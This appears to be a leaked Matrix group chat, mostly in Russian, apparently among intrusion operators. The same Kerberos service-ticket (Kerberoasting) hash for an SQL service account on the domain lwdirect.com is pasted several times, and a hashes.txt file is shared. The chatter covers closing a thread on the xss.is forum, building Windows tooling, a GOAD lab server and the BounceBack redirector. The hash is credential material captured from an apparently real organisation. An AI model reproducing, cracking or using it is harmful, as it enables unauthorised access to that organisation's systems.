A30FCFBB9F1E82040682B540B40EFD39143FF3CDC53660850D28528BEF1D40B95C869BC07667DB768C6D2876684`

* <del>`$krb5tgs$23$*lwsystem$lwdirect.com$MSSQLSvc/VMPROD01-SUB01.lwdirect.com:1433*$221EE472980D5246D98B3D6A31417426$F62F36EF3C4A87E31C1EA2C3A8BBDF79952670CFAE8FBD04DF36D3E0F24FF4240DF8E141AED2D65ECD06F1C47527591DB3E869DD2CB664A80F0AF087BDA0092C08D316E23615CDDC0278588D1C9090B4F85872A0EC131D3BABDCB309AACD4F1B90FC11BC31A0BF5067DA8F0599053728AB3611B6E6868C61BB61F2717F695A3A45E9B2422EDC4BA114A5CCB3CE56AA9377B4FE664185C33CB579DC81D38B3B8B6B406039FB16F87F5D2C3FF005DA880C12A9CD877E5207E35F3549A80AC2D2B262E4F90F971E0ABFD7BECA801496421BB9EA1EDB5927541FD2E9087509DB9653CF5ADEF96FE805A756BAA26E1B842D83B9DC2DBE0A13F84EBA0228E960E446B4B67200D0D0BF36531BD1D438478D0062A47A4C1E0E4CC703387C7870B643EFA867F63B15F15301877189020F74E21148FFBA753A7EFD71DD3166EFEABFD16218361BB5445D974D185FDD01CF4DBFA70334656F83F66C13E91B3A381DB24C7D2477EBA3F7A65B1020F25A4D17EB01672C7E718555D04CA9DDDABCEDAC91CA9969967CED103E9CD9927F884D402667E7766340D53B84FD8F82187BB29BE38D5BFE0E2C815C1491545A97DDF6D909404EBA47FE2DA4F9E3282F26A8054E4D31CB46C839D1CCCD25A194A9B9BE04099AEBAD93389679A75216F187D0B2EFD4EFD56922A67E6F5259C2AA11C68E8DCEAFBE7E6F8388301DE1E2D29A77285AFD2F427E907042754E135F58B109E342886E2D4706D887F5D695A482880BC4B8758F894727C212E72D417A316D6385D6059C1B4266C60FF2394CE0899BAA4CDAF438E04925840B78A6189FE303AF44B2D85C8E581FC3BBBF818D96C487613FA052CA2521D9B8987BA47440EA461E24C2856A053A0C0DAD28D99944CA023A9AD81276083B02C0293C4C81B099375018D8FA831DD597CE2FD61A1F49319D9414CBC422BD2FB95D1BC142C4F68C29E2B5AC255BA111BFC5D355DBD18256A28B0033B8F384E8E9E5835478CAFB173C06BD7201EAC745EB515EF8C5A402798A048D2E21635C2238994DC954E3D0C1CC8B854285191C80083D467429A4CC16638CF40476C5760F348DD0175356FD1EDE67ED9410B643D705EC46288B13BBE15DF4A20D9B42F2996FE1A0C17C78CFB8E3AE840608663EA89A6FFC22457E1870C66CD415CD977EE53683EF2C444E6E7AF09B80D3D811CD4592BAC1236660025A4EB81CC237E20A9E381A55336A66901EFE04A046991E9694A5199982D296465A84D483C41BD613158C0B1321C2C5C9909BFAA8C902BBBC97F59E9C5EE1AC5AC56BD7FAD63948EFD43CF15486CA9177C20ED2E5EF7A7F900D8DD4ED200132CB789E06DC40A7497C38222C10F1D8B3519D3DD4397F6C25B394A81D9D43D6512BCCB8AC0A4DE9E6BF50140234552F7737AF10CCA9505BAF49DC09785BCC7DC3697769507B246FA4A8902E88AA1C1EEC42CD6EE9D997F3BA1098642D1DA88253B5018A177B063C66873F81D4BCD27C5A281298D62E3E4F5CAFA2DC2EADF468B6AB48DF9DEBD9B9BF7451301E8AC62AF103704E4BB1CB80C636F6A89829A054D33FCC78590BF0884C1C0341BBCFD62AEAED7070244E6A1354C26681ACA78A685BAB89A0FAC2C9B631554A706B2C98B0817742DCAE32E3CAEC2070C62FA5268428CD5A84F73B487A6F3ECEF65E7A34E9C7033F732268AC6118A319AB7E7527F08FFC87DF0F7051EACEEC932D57164913F75F02B64B34B88DD61B35B6BAAFA8075D11C257EA30FCFBB9F1E82040682B540B40EFD39143FF3CDC53660850D28528BEF1D40B95C869BC07667DB768C6D2876684`</del>

* ``<del>`$krb5tgs$23$*lwsystem$lwdirect.com$MSSQLSvc/VMPROD01-SUB01.lwdirect.com:1433*$221EE472980D5246D98B3D6A31417426$F62F36EF3C4A87E31C1EA2C3A8BBDF79952670CFAE8FBD04DF36D3E0F24FF4240DF8E141AED2D65ECD06F1C47527591DB3E869DD2CB664A80F0AF087BDA0092C08D316E23615CDDC0278588D1C9090B4F85872A0EC131D3BABDCB309AACD4F1B90FC11BC31A0BF5067DA8F0599053728AB3611B6E6868C61BB61F2717F695A3A45E9B2422EDC4BA114A5CCB3CE56AA9377B4FE664185C33CB579DC81D38B3B8B6B406039FB16F87F5D2C3FF005DA880C12A9CD877E5207E35F3549A80AC2D2B262E4F90F971E0ABFD7BECA801496421BB9EA1EDB5927541FD2E9087509DB9653CF5ADEF96FE805A756BAA26E1B842D83B9DC2DBE0A13F84EBA0228E960E446B4B67200D0D0BF36531BD1D438478D0062A47A4C1E0E4CC703387C7870B643EFA867F63B15F15301877189020F74E21148FFBA753A7EFD71DD3166EFEABFD16218361BB5445D974D185FDD01CF4DBFA70334656F83F66C13E91B3A381DB24C7D2477EBA3F7A65B1020F25A4D17EB01672C7E718555D04CA9DDDABCEDAC91CA9969967CED103E9CD9927F884D402667E7766340D53B84FD8F82187BB29BE38D5BFE0E2C815C1491545A97DDF6D909404EBA47FE2DA4F9E3282F26A8054E4D31CB46C839D1CCCD25A194A9B9BE04099AEBAD93389679A75216F187D0B2EFD4EFD56922A67E6F5259C2AA11C68E8DCEAFBE7E6F8388301DE1E2D29A77285AFD2F427E907042754E135F58B109E342886E2D4706D887F5D695A482880BC4B8758F894727C212E72D417A316D6385D6059C1B4266C60FF2394CE0899BAA4CDAF438E04925840B78A6189FE303AF44B2D85C8E581FC3BBBF818D96C487613FA052CA2521D9B8987BA47440EA461E24C2856A053A0C0DAD28D99944CA023A9AD81276083B02C0293C4C81B099375018D8FA831DD597CE2FD61A1F49319D9414CBC422BD2FB95D1BC142C4F68C29E2B5AC255BA111BFC5D355DBD18256A28B0033B8F384E8E9E5835478CAFB173C06BD7201EAC745EB515EF8C5A402798A048D2E21635C2238994DC954E3D0C1CC8B854285191C80083D467429A4CC16638CF40476C5760F348DD0175356FD1EDE67ED9410B643D705EC46288B13BBE15DF4A20D9B42F2996FE1A0C17C78CFB8E3AE840608663EA89A6FFC22457E1870C66CD415CD977EE53683EF2C444E6E7AF09B80D3D811CD4592BAC1236660025A4EB81CC237E20A9E381A55336A66901EFE04A046991E9694A5199982D296465A84D483C41BD613158C0B1321C2C5C9909BFAA8C902BBBC97F59E9C5EE1AC5AC56BD7FAD63948EFD43CF15486CA9177C20ED2E5EF7A7F900D8DD4ED200132CB789E06DC40A7497C38222C10F1D8B3519D3DD4397F6C25B394A81D9D43D6512BCCB8AC0A4DE9E6BF50140234552F7737AF10CCA9505BAF49DC09785BCC7DC3697769507B246FA4A8902E88AA1C1EEC42CD6EE9D997F3BA1098642D1DA88253B5018A177B063C66873F81D4BCD27C5A281298D62E3E4F5CAFA2DC2EADF468B6AB48DF9DEBD9B9BF7451301E8AC62AF103704E4BB1CB80C636F6A89829A054D33FCC78590BF0884C1C0341BBCFD62AEAED7070244E6A1354C26681ACA78A685BAB89A0FAC2C9B631554A706B2C98B0817742DCAE32E3CAEC2070C62FA5268428CD5A84F73B487A6F3ECEF65E7A34E9C7033F732268AC6118A319AB7E7527F08FFC87DF0F7051EACEEC932D57164913F75F02B64B34B88DD61B35B6BAAFA8075D11C257EA30FCFBB9F1E82040682B540B40EFD39143FF3CDC53660850D28528BEF1D40B95C869BC07667DB768C6D2876684`</del>``

> <@cameron777:matrix.org> kerberosi kak to pomogut?

* `$krb5tgs$23$*lwsystem$lwdirect.com$MSSQLSvc/VMPROD01-SUB01.lwdirect.com:1433*$221EE472980D5246D98B3D6A31417426$F62F36EF3C4A87E31C1EA2C3A8BBDF79952670CFAE8FBD04DF36D3E0F24FF4240DF8E141AED2D65ECD06F1C47527591DB3E869DD2CB664A80F0AF087BDA0092C08D316E23615CDDC0278588D1C9090B4F85872A0EC131D3BABDCB309AACD4F1B90FC11BC31A0BF5067DA8F0599053728AB3611B6E6868C61BB61F2717F695A3A45E9B2422EDC4BA114A5CCB3CE56AA9377B4FE664185C33CB579DC81D38B3B8B6B406039FB16F87F5D2C3FF005DA880C12A9CD877E5207E35F3549A80AC2D2B262E4F90F971E0ABFD7BECA801496421BB9EA1EDB5927541FD2E9087509DB9653CF5ADEF96FE805A756BAA26E1B842D83B9DC2DBE0A13F84EBA0228E960E446B4B67200D0D0BF36531BD1D438478D0062A47A4C1E0E4CC703387C7870B643EFA867F63B15F15301877189020F74E21148FFBA753A7EFD71DD3166EFEABFD16218361BB5445D974D185FDD01CF4DBFA70334656F83F66C13E91B3A381DB24C7D2477EBA3F7A65B1020F25A4D17EB01672C7E718555D04CA9DDDABCEDAC91CA9969967CED103E9CD9927F884D402667E7766340D53B84FD8F82187BB29BE38D5BFE0E2C815C1491545A97DDF6D909404EBA47FE2DA4F9E3282F26A8054E4D31CB46C839D1CCCD25A194A9B9BE04099AEBAD93389679A75216F187D0B2EFD4EFD56922A67E6F5259C2AA11C68E8DCEAFBE7E6F8388301DE1E2D29A77285AFD2F427E907042754E135F58B109E342886E2D4706D887F5D695A482880BC4B8758F894727C212E72D417A316D6385D6059C1B4266C60FF2394CE0899BAA4CDAF438E04925840B78A6189FE303AF44B2D85C8E581FC3BBBF818D96C487613FA052CA2521D9B8987BA47440EA461E24C2856A053A0C0DAD28D99944CA023A9AD81276083B02C0293C4C81B099375018D8FA831DD597CE2FD61A1F49319D9414CBC422BD2FB95D1BC142C4F68C29E2B5AC255BA111BFC5D355DBD18256A28B0033B8F384E8E9E5835478CAFB173C06BD7201EAC745EB515EF8C5A402798A048D2E21635C2238994DC954E3D0C1CC8B854285191C80083D467429A4CC16638CF40476C5760F348DD0175356FD1EDE67ED9410B643D705EC46288B13BBE15DF4A20D9B42F2996FE1A0C17C78CFB8E3AE840608663EA89A6FFC22457E1870C66CD415CD977EE53683EF2C444E6E7AF09B80D3D811CD4592BAC1236660025A4EB81CC237E20A9E381A55336A66901EFE04A046991E9694A5199982D296465A84D483C41BD613158C0B1321C2C5C9909BFAA8C902BBBC97F59E9C5EE1AC5AC56BD7FAD63948EFD43CF15486CA9177C20ED2E5EF7A7F900D8DD4ED200132CB789E06DC40A7497C38222C10F1D8B3519D3DD4397F6C25B394A81D9D43D6512BCCB8AC0A4DE9E6BF50140234552F7737AF10CCA9505BAF49DC09785BCC7DC3697769507B246FA4A8902E88AA1C1EEC42CD6EE9D997F3BA1098642D1DA88253B5018A177B063C66873F81D4BCD27C5A281298D62E3E4F5CAFA2DC2EADF468B6AB48DF9DEBD9B9BF7451301E8AC62AF103704E4BB1CB80C636F6A89829A054D33FCC78590BF0884C1C0341BBCFD62AEAED7070244E6A1354C26681ACA78A685BAB89A0FAC2C9B631554A706B2C98B0817742DCAE32E3CAEC2070C62FA5268428CD5A84F73B487A6F3ECEF65E7A34E9C7033F732268AC6118A319AB7E7527F08FFC87DF0F7051EACEEC932D57164913F75F02B64B34B88DD61B35B6BAAFA8075D11C257EA30FCFBB9F1E82040682B540B40EFD39143FF3CDC53660850D28528BEF1D40B95C869BC07667DB768C6D2876684`

kod blok kakoy to ne takoy poluchitlsya)

`$krb5tgs$23$*lwsystem$lwdirect.com$MSSQLSvc/VMPROD01-SUB01.lwdirect.com:1433*$221EE472980D5246D98B3D6A31417426$F62F36EF3C4A87E31C1EA2C3A8BBDF79952670CFAE8FBD04DF36D3E0F24FF4240DF8E141AED2D65ECD06F1C47527591DB3E869DD2CB664A80F0AF087BDA0092C08D316E23615CDDC0278588D1C9090B4F85872A0EC131D3BABDCB309AACD4F1B90FC11BC31A0BF5067DA8F0599053728AB3611B6E6868C61BB61F2717F695A3A45E9B2422EDC4BA114A5CCB3CE56AA9377B4FE664185C33CB579DC81D38B3B8B6B406039FB16F87F5D2C3FF005DA880C12A9CD877E5207E35F3549A80AC2D2B262E4F90F971E0ABFD7BECA801496421BB9EA1EDB5927541FD2E9087509DB9653CF5ADEF96FE805A756BAA26E1B842D83B9DC2DBE0A13F84EBA0228E960E446B4B67200D0D0BF36531BD1D438478D0062A47A4C1E0E4CC703387C7870B643EFA867F63B15F15301877189020F74E21148FFBA753A7EFD71DD3166EFEABFD16218361BB5445D974D185FDD01CF4DBFA70334656F83F66C13E91B3A381DB24C7D2477EBA3F7A65B1020F25A4D17EB01672C7E718555D04CA9DDDABCEDAC91CA9969967CED103E9CD9927F884D402667E7766340D53B84FD8F82187BB29BE38D5BFE0E2C815C1491545A97DDF6D909404EBA47FE2DA4F9E3282F26A8054E4D31CB46C839D1CCCD25A194A9B9BE04099AEBAD93389679A75216F187D0B2EFD4EFD56922A67E6F5259C2AA11C68E8DCEAFBE7E6F8388301DE1E2D29A77285AFD2F427E907042754E135F58B109E342886E2D4706D887F5D695A482880BC4B8758F894727C212E72D417A316D6385D6059C1B4266C60FF2394CE0899BAA4CDAF438E04925840B78A6189FE303AF44B2D85C8E581FC3BBBF818D96C487613FA052CA2521D9B8987BA47440EA461E24C2856A053A0C0DAD28D99944CA023A9AD81276083B02C0293C4C81B099375018D8FA831DD597CE2FD61A1F49319D9414CBC422BD2FB95D1BC142C4F68C29E2B5AC255BA111BFC5D355DBD18256A28B0033B8F384E8E9E5835478CAFB173C06BD7201EAC745EB515EF8C5A402798A048D2E21635C2238994DC954E3D0C1CC8B854285191C80083D467429A4CC16638CF40476C5760F348DD0175356FD1EDE67ED9410B643D705EC46288B13BBE15DF4A20D9B42F2996FE1A0C17C78CFB8E3AE840608663EA89A6FFC22457E1870C66CD415CD977EE53683EF2C444E6E7AF09B80D3D811CD4592BAC1236660025A4EB81CC237E20A9E381A55336A66901EFE04A046991E9694A5199982D296465A84D483C41BD613158C0B1321C2C5C9909BFAA8C902BBBC97F59E9C5EE1AC5AC56BD7FAD63948EFD43CF15486CA9177C20ED2E5EF7A7F900D8DD4ED200132CB789E06DC40A7497C38222C10F1D8B3519D3DD4397F6C25B394A81D9D43D6512BCCB8AC0A4DE9E6BF50140234552F7737AF10CCA9505BAF49DC09785BCC7DC3697769507B246FA4A8902E88AA1C1EEC42CD6EE9D997F3BA1098642D1DA88253B5018A177B063C66873F81D4BCD27C5A281298D62E3E4F5CAFA2DC2EADF468B6AB48DF9DEBD9B9BF7451301E8AC62AF103704E4BB1CB80C636F6A89829A054D33FCC78590BF0884C1C0341BBCFD62AEAED7070244E6A1354C26681ACA78A685BAB89A0FAC2C9B631554A706B2C98B0817742DCAE32E3CAEC2070C62FA5268428CD5A84F73B487A6F3ECEF65E7A34E9C7033F732268AC6118A319AB7E7527F08FFC87DF0F7051EACEEC932D57164913F75F02B64B34B88DD61B35B6BAAFA8075D11C257EA30FCFBB9F1E82040682B540B40EFD39143FF3CDC53660850D28528BEF1D40B95C869BC07667DB768C6D2876684`

*

hashes.txt

> <@cameron777:matrix.org> sent a file.

> <@cameron777:matrix.org> kod blok kakoy to ne takoy poluchitlsya)

написал админу xss.is в личку, он сказал тему удалить нельзя, но закрыть можно\

спросил у него, можно ли хотя бы скрины снести

ок

cc заколебал

ничего не умеет

там ничего нового нет, делаю

я возможно чуть позже смогу X86 делать, но это лишь прикидки

тебе сегодня сделают сервер под гоад

сейчас на стадии разработки, работает на вин 10 и выше, но на системах старее все очень нестабильно

я уже просто все за него делаю, это легче, чем объяснять 10 раз одно и то же

я уже и дату за него ставлю на скачку

хорошо, жду

потом чилить пойду

ему в падлу

Ubuntu-2204

> <@usernamenn:matrix.bestflowers247.online> не так давно выходил https://github.com/D00Movenok/BounceBack, по нему есть какая то информация?